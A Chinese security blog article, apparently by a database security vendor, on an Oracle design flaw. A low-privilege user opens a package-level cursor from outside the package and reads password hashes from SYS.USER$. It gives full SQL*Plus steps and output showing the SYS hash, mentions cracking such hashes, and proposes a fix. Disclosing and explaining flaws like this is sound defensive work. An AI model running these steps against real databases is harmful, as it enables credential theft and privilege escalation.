Oracle数据库游标带来的安全隐患之游标设计本身的安全隐患
作者:安华金和 发布时间:2017-01-21

前文我们介绍了两种Oracle游标的数据库安全隐患,一是利用游标的挂起状态进行恶意代码注入,二是利用恶意代码注入进行提权,其实通过游标获取高权限账号的密码完全不用这么麻烦,oracle在游标设计上本身就有安全问题。

用高权限用户写一个包,这个包中放入一个游标,功能和前面用的schina_test是一致的。用来取回需要检查账号的hash。然后和我们给出的一组预设hash做对比。低权限用户如果知道这个游标可以直接在包外调用该游标,从而获取游标中的内容。包内游标可以在包外被调用,这是oracle游标本身设计上的安全缺陷。

SQL> connect / as sysdba

已连接。

SQL>  CREATE OR REPLACE PACKAGE schina AS

  2   CURSOR X (USERNAME IN VARCHAR2) IS SELECT PASSWORD FROM SYS.USER$

  3  WHERE NAME=USERNAME;

  4   PROCEDURE CHECK_PASSWORD;

  5   END;

  6   /


程序包已创建。


SQL> CREATE OR REPLACE PACKAGE BODY schina AS

  2  PROCEDURE CHECK_PASSWORD IS

  3  PASSWORD VARCHAR2(200);

  4  BEGIN

  5  OPEN X (USER());

  6  FETCH X INTO PASSWORD;

  7  CLOSE X;

  8    IF PASSWORD = '01234567890ABCDEF' THEN

  9       DBMS_OUTPUT.PUT_LINE('YOUR PASSWORD HASH IS NOT OK');

 10  ELSE

 11       DBMS_OUTPUT.PUT_LINE('YOUR PASSWORD HASH IS OK');

 12  END IF;

 13  END CHECK_PASSWORD;

 14  END;

 15   /

程序包体已创建。

SQL> show errors

没有错误。

SQL> GRANT EXECUTE ON SYS.SCHINA TO PUBLIC;

授权成功。

    通过show errors检验发现整个过程没有X游标挂起的问题。X游标正常关闭了,到现在为止操作一切正常切换到低权限账号

SQL> connect scott/tiger

已连接。

SQL> set serveroutput on

SQL> exec  sys.schina.check_password;

YOUR PASSWORD HASH IS OK

    执行包返回的结果很安全,不会显示出游标内存储的内容,但如果通过一个匿名块,在包外使用游标的结果就变得不安全了,低权限用户可以轻易使用高权限用户设置的游标。通过游标直接可以获取到游标中存储的结果集。

SQL> DECLARE PASSWORD VARCHAR2(200);

  2  BEGIN OPEN SYS. SCHINA.X ('SYS');

  3  FETCH SYS. SCHINA.X INTO PASSWORD;

  4  CLOSE SYS. SCHINA.X;

  5  DBMS_OUTPUT.PUT_LINE('The SYS password is '|| PASSWORD);

  6  END;

  7  /

The SYS password is CF10653F66A74AC2

任何权限账号的密码通过这种方式都会被低权限用户直接获取HASH值,然后通过HASH逆向工具,获取全部账号的密码。

至此我们对我们已经分析了3种Oracle数据库游标带来的安全隐患。游标作为oracle的核心子程序,安全性十分重要。oracle的游标虽然解决了一些问题,但安全性上还有很大问题。安华金和建议Oracle给游标一个参数,作为安全参数。默认打开安全参数,当游标在其被定义的包外打开的时候,对游标进行强制检查,一旦发现打开该游标的用户权限低于创建游标者的权限,则直接抛出异常,禁止打开该游标,从而保证Oracle数据库安全性。